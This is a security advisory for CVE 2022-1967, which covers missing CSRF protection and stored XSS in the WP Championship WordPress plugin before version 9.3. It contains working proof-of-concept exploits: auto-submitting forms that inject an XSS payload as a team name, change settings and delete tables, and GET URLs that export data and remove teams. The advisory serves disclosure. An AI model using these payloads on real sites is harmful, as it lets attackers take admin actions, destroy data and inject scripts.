WP Championship < 9.3 – Multiple CSRF | CVE 2022-1967

Description

The plugin is lacking CSRF checks in various places, allowing attackers to make a logged in admin perform unwanted actions, such as create and delete arbitrary teams as well as update the plugin's settings. Due to the lack of sanitisation and escaping, it could also lead to Stored Cross-Site Scripting issues

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-championship%2Fcs_admin_team.php#" method="POST">
    <input type="text" name="action" value="addteam">
    <input type="text" name="team_name" value="<img src=x onerror=alert(/XSS/)>">
    <input type="text" name="team_shortname" value="test">
    <input type="text" name="team_icon" value="b">
    <input type="text" name="group" value="A">
    <input type="text" name="qualified" value="0">
    <input type="text" name="penalty" value="0">
    <input type="hidden" id="submit" name="submit" value="Mannschaft hinzufügen »">
</form>
<script>
HTMLFormElement.prototype.submit.call(
    document.getElementById("test")
);
</script>


https://example.com/wp-admin/admin-ajax.php?action=wpc_export&dlmode=true&exmode=team&fnmode=false


<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-championship%2Fcs_admin.php#" method="POST">
    <input type="text" name="action" value="update">
    <input type="text" name="cs_groups" value="8">
    <input type="text" name="cs_pts_winner" value="3">
    <input type="text" name="cs_pts_looser" value="0">
    <input type="text" name="cs_pts_deuce" value="1">
    <input type="text" name="cs_group_teams" value="2">
    <input type="text" name="deltables_ok" value="1">
    <input type="text" name="deltables" value="Tabellen entfernen »">
    <input type="text" name="cs_pts_tipp" value="1">
    <input type="text" name="cs_pts_tendency" value="1">
    <input type="text" name="cs_stellv_schalter" value="1">
    <input type="text" name="cs_pts_supertipp" value="5">
    <input type="text" name="cs_modus" value="1">
    <input type="text" name="cs_pts_champ" value="1">
    <input type="text" name="cs_oneside_tendency" value="0">
    <input type="text" name="cs_pts_oneside" value="0">
    <input type="text" name="cs_reminder_hours" value="">
    <input type="text" name="cs_goalsum" value="-1">
    <input type="text" name="cs_rank_trend" value="1">
    <input type="text" name="cs_final_winner" value="-1">
    <input type="text" name="cs_pts_goalsum" value="0">
    <input type="text" name="cs_floating_link" value="1">
    <input type="text" name="cs_joker_idlist" value="">
    <input type="text" name="cs_joker_player" value="">
    <input type="text" name="cs_number_of_tippdays" value="">
    <input type="text" name="cs_xmlrpc_news" value=" ">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-championship%2Fcs_admin.php#" method="POST">
    <input type="text" name="action" value="update">
    <input type="text" name="cs_groups" value="8">
    <input type="text" name="cs_pts_winner" value="3">
    <input type="text" name="mailservice_ok" value="1">
    <input type="text" name="mailservice1" value="Mailservice auslösen »">
    <input type="text" name="cs_pts_looser" value="0">
    <input type="text" name="cs_pts_deuce" value="1">
    <input type="text" name="cs_group_teams" value="2">
    <input type="text" name="cs_pts_tipp" value="1">
    <input type="text" name="cs_pts_tendency" value="1">
    <input type="text" name="cs_stellv_schalter" value="1">
    <input type="text" name="cs_pts_supertipp" value="5">
    <input type="text" name="cs_modus" value="1">
    <input type="text" name="cs_pts_champ" value="1">
    <input type="text" name="cs_oneside_tendency" value="0">
    <input type="text" name="cs_pts_oneside" value="0">
    <input type="text" name="cs_reminder_hours" value="">
    <input type="text" name="cs_goalsum" value="-1">
    <input type="text" name="cs_rank_trend" value="1">
    <input type="text" name="cs_final_winner" value="-1">
    <input type="text" name="cs_pts_goalsum" value="0">
    <input type="text" name="cs_floating_link" value="1">
    <input type="text" name="cs_joker_idlist" value="">
    <input type="text" name="cs_joker_player" value="">
    <input type="text" name="cs_number_of_tippdays" value="">
    <input type="text" name="cs_xmlrpc_news" value=" ">
</form>
<script>
    document.getElementById("test").submit();
</script>


https://example.com/wp-admin/admin.php?page=wp-championship/cs_admin_team.php&action=remove&tid=1
https://example.com/wp-admin/admin.php?page=wp-championship/cs_admin_finals.php&action=remove&mid=1